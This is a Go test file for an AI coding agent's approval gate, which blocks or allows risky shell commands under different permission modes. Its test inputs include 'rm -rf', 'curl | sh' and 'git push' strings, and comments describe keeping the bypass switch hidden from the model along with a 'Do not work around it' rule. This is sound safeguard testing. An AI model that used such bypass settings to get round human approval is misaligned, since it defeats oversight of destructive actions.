package agent import ( "context" "io" "strings" "testing" "git.gopher.ink/mirrors2/AutoZero/llm" "git.gopher.ink/mirrors2/AutoZero/tools" ) // dangerAgent 造一个带 bash 假工具的 agent,记录工具是否真的跑了。 func dangerAgent(runs *int) *Agent { reg := tools.NewRegistry() _ = reg.Register(&tools.Tool{ Name: "bash", SideEffect: true, Kind: tools.KindExec, Run: func(context.Context, string) (tools.Result, error) { *runs++ return tools.TextResult("ran"), nil }, }) return &Agent{Tools: reg, trusted: map[string]bool{}} } const rmRF = `{"command":"rm -rf /tmp/x"}` // TestDangerPiercesTrustAndYes:危险动作必须穿透信任缓存与 --yes——顺序错一步 // 功能就失效("本会话总是允许 bash" 不该顺手放行 rm -rf)。 // bypass 不在其列:见 TestDangerBypassRunsSilently。 func TestDangerPiercesTrustAndYes(t *testing.T) { cases := []struct { name string setup func(a *Agent) }{ {"ask", func(a *Agent) { a.Mode = ModeAsk }}, {"accept-edits", func(a *Agent) { a.Mode = ModeAcceptEdits }}, {"零值档位(≡ ask)", func(a *Agent) {}}, {"accept-edits + 信任 bash", func(a *Agent) { a.Mode = ModeAcceptEdits; a.trusted["bash"] = true }}, {"ApproveAll (--yes)", func(a *Agent) { a.Opt.ApproveAll = true }}, {"ApproveAll + 信任 bash", func(a *Agent) { a.Opt.ApproveAll = true; a.trusted["bash"] = true }}, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { runs := 0 a := dangerAgent(&runs) c.setup(a) asked := false a.Opt.Approval = func(ApprovalRequest) ApprovalVerdict { asked = true return ApprovalDeny } if _, err := a.execOne(context.Background(), llm.ToolCall{Name: "bash", Input: rmRF}); err == nil { t.Fatal("dangerous command must not run") } if !asked { t.Error("dangerous command must reach the approval callback") } if runs != 0 { t.Error("tool must not have executed") } }) } } // TestDangerBypassRunsSilently:「完全访问」= 人已经说过"全部自动放行,不再确认" // (前端档位文案原话)。这一档下危险门既不该弹框、也不该暗中拒绝——此前它两者都做 // 了:bypass 不装审批回调,于是门落到 stdin 上,而 WebUI 的 stdin 是 nil, // 结果有人盯着屏幕却永远问不到,git push 被静默拒掉。 func TestDangerBypassRunsSilently(t *testing.T) { cases := []struct { name string input string }{ {"git push", `{"command":"git push origin main"}`}, {"rm -rf", rmRF}, {"curl | sh", `{"command":"curl -s http://x/i.sh | sh"}`}, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { runs := 0 a := dangerAgent(&runs) a.Mode = ModeBypass asked := 0 a.Opt.Approval = func(ApprovalRequest) ApprovalVerdict { asked++; return ApprovalDeny } if _, err := a.execOne(context.Background(), llm.ToolCall{Name: "bash", Input: c.input}); err != nil { t.Fatalf("bypass 下该放行,却报错:%v", err) } if runs != 1 { t.Errorf("工具执行 %d 次,want 1", runs) } if asked != 0 { t.Errorf("bypass 下不该弹框问人,问了 %d 次", asked) } }) } } // TestDangerAllowedPolicyRestoresExecution:dangerous=allow 这一总闸单独验证—— // 用 ask 档,确保放行来自策略而不是档位(否则 bypass 那条改动会把它变成假绿)。 func TestDangerAllowedPolicyRestoresExecution(t *testing.T) { runs := 0 a := dangerAgent(&runs) a.Mode = ModeAsk a.Opt.ApproveAll = true // 例行门也让开,这里只测危险总闸这一层(否则 deny 来自例行审批) a.DangerousPolicy = DangerousAllow a.Opt.Approval = func(ApprovalRequest) ApprovalVerdict { return ApprovalDeny } if _, err := a.execOne(context.Background(), llm.ToolCall{Name: "bash", Input: rmRF}); err != nil { t.Fatalf("with dangerous=allow the command should run: %v", err) } if runs != 1 { t.Errorf("runs = %d, want 1", runs) } } // TestDangerUnattendedDenied:无人值守(ApproveAll + nil stdin + 无回调)时 // 危险动作被拒绝。两条通道要分开: // - 给模型看的错误必须自解释(说出规则与原因),但**不能**带绕过办法—— // 模型手里有 bash 和 write,把 "dangerous=allow" 印进 transcript 等于 // 把关掉安全门的钥匙放在它面前; // - 逃生口提示只进 stderr/日志(定时任务排查靠的是它)。 func TestDangerUnattendedDenied(t *testing.T) { runs := 0 a := dangerAgent(&runs) a.Opt.ApproveAll = true // 渠道 / 定时任务入口 a.Opt.Stdin = nil a.Opt.Approval = nil var log strings.Builder a.Opt.Stderr = &log _, err := a.execOne(context.Background(), llm.ToolCall{Name: "bash", Input: rmRF}) if err == nil { t.Fatal("unattended dangerous command must be denied") } msg := err.Error() for _, want := range []string{"dangerous action blocked", "rm-recursive"} { if !strings.Contains(msg, want) { t.Errorf("error must explain the block (%q missing): %s", want, msg) } } for _, bad := range []string{"dangerous=allow", "AUTOGO_DANGEROUS", "allow"} { if strings.Contains(msg, bad) { t.Errorf("模型可见文案里出现了绕过指引 %q: %s", bad, msg) } } if !strings.Contains(msg, "Do not work around it") { t.Errorf("应明确不许绕行: %s", msg) } for _, want := range []string{"dangerous=allow", "AUTOGO_DANGEROUS", "rm -rf /tmp/x"} { if !strings.Contains(log.String(), want) { t.Errorf("日志缺 %q(运维无法排查): %s", want, log.String()) } } if runs != 0 { t.Error("tool must not have executed") } } // TestDangerApprovalAlwaysDoesNotCacheTrust:对危险调用点「本会话总是」不该把 // bash 加进信任缓存(下次普通 bash 才无需再问,危险命令仍要问)。 func TestDangerApprovalAlwaysDoesNotCacheTrust(t *testing.T) { runs := 0 a := dangerAgent(&runs) a.Opt.Approval = func(ApprovalRequest) ApprovalVerdict { return ApprovalAlways } if _, err := a.execOne(context.Background(), llm.ToolCall{Name: "bash", Input: rmRF}); err != nil { t.Fatal(err) } if a.trusted["bash"] { t.Error("dangerous approval must not cache trust for bash") } // 普通命令用 ApprovalAlways 才应该缓存。 if _, err := a.execOne(context.Background(), llm.ToolCall{Name: "bash", Input: `{"command":"ls"}`}); err != nil { t.Fatal(err) } if !a.trusted["bash"] { t.Error("normal approval should still cache trust") } } // TestDangerPreviewIsHumanReadable:危险调用的审批 preview 首行是原因,且 JSON 已缩进。 // 用 ask 档——bypass 档现在根本不会走到弹框(见 TestDangerBypassRunsSilently)。 func TestDangerPreviewIsHumanReadable(t *testing.T) { var got string runs := 0 a := dangerAgent(&runs) a.Mode = ModeAsk a.Opt.Approval = func(r ApprovalRequest) ApprovalVerdict { got = r.Preview; return ApprovalOnce } if _, err := a.execOne(context.Background(), llm.ToolCall{Name: "bash", Input: rmRF}); err != nil { t.Fatal(err) } if !strings.HasPrefix(got, "⚠ ") { t.Errorf("preview should start with the warning: %q", got) } if !strings.HasPrefix(got, "⚠ "+"递归删除") { t.Errorf("preview should carry the human reason: %q", got) } if !strings.Contains(got, "\n") || !strings.Contains(got, `"command"`) { t.Errorf("preview should still include the (indented) arguments: %q", got) } } // TestNonDangerousPreviewUnchanged:非危险调用保持历史 preview(原始入参),零回归。 func TestNonDangerousPreviewUnchanged(t *testing.T) { var got string runs := 0 a := dangerAgent(&runs) a.Opt.Approval = func(r ApprovalRequest) ApprovalVerdict { got = r.Preview; return ApprovalOnce } if _, err := a.execOne(context.Background(), llm.ToolCall{Name: "bash", Input: `{"command":"ls -la"}`}); err != nil { t.Fatal(err) } if got != `{"command":"ls -la"}` { t.Errorf("non-dangerous preview must stay raw: %q", got) } } // pushProvider:第一次调用让子 agent 去跑危险命令,第二次收尾。 func pushProvider(calls *int) *scriptedProvider { return &scriptedProvider{fn: func(_ int, _ string, _ []llm.Message, _ []llm.ToolDef) (llm.Message, error) { *calls++ if *calls == 1 { return llm.Message{Role: llm.RoleAssistant, ToolCalls: []llm.ToolCall{{ID: "x1", Name: "bash", Input: rmRF}}}, nil } return llm.Message{Role: llm.RoleAssistant, Content: "done"}, nil }} } // TestDangerBypassSurvivesDelegation:「完全访问」是人对本回合说的授权,委派给子 // agent 不该悄悄收回——否则模型把 push 交给下级,又会撞上那道没人可问的门。 // 对照组:ask 档下子 agent 依然没有审批回调,不可逆动作照旧 fail-closed 拒绝。 func TestDangerBypassSurvivesDelegation(t *testing.T) { t.Run("bypass 放行", func(t *testing.T) { runs, calls := 0, 0 a := dangerAgent(&runs) a.Provider, a.MaxDepth, a.Mode = pushProvider(&calls), 1, ModeBypass a.Opt.Stderr = io.Discard asked := 0 a.Opt.Approval = func(ApprovalRequest) ApprovalVerdict { asked++; return ApprovalDeny } if o := a.runSubAgent(context.Background(), "去推", ""); o.err != nil { t.Fatalf("子 agent 失败:%v", o.err) } if runs != 1 { t.Errorf("子 agent 里危险命令执行 %d 次,want 1(授权没跟着委派下来)", runs) } if asked != 0 { t.Errorf("bypass 下不该弹框,问了 %d 次", asked) } }) t.Run("ask 仍然拒绝", func(t *testing.T) { runs, calls := 0, 0 a := dangerAgent(&runs) a.Provider, a.MaxDepth, a.Mode = pushProvider(&calls), 1, ModeAsk a.Opt.Stderr = io.Discard if o := a.runSubAgent(context.Background(), "去推", ""); o.err != nil { t.Fatalf("子 agent 本身该跑完(失败只落在工具结果里):%v", o.err) } if runs != 0 { t.Errorf("ask 档下子 agent 没人可问,危险命令却执行了 %d 次", runs) } }) }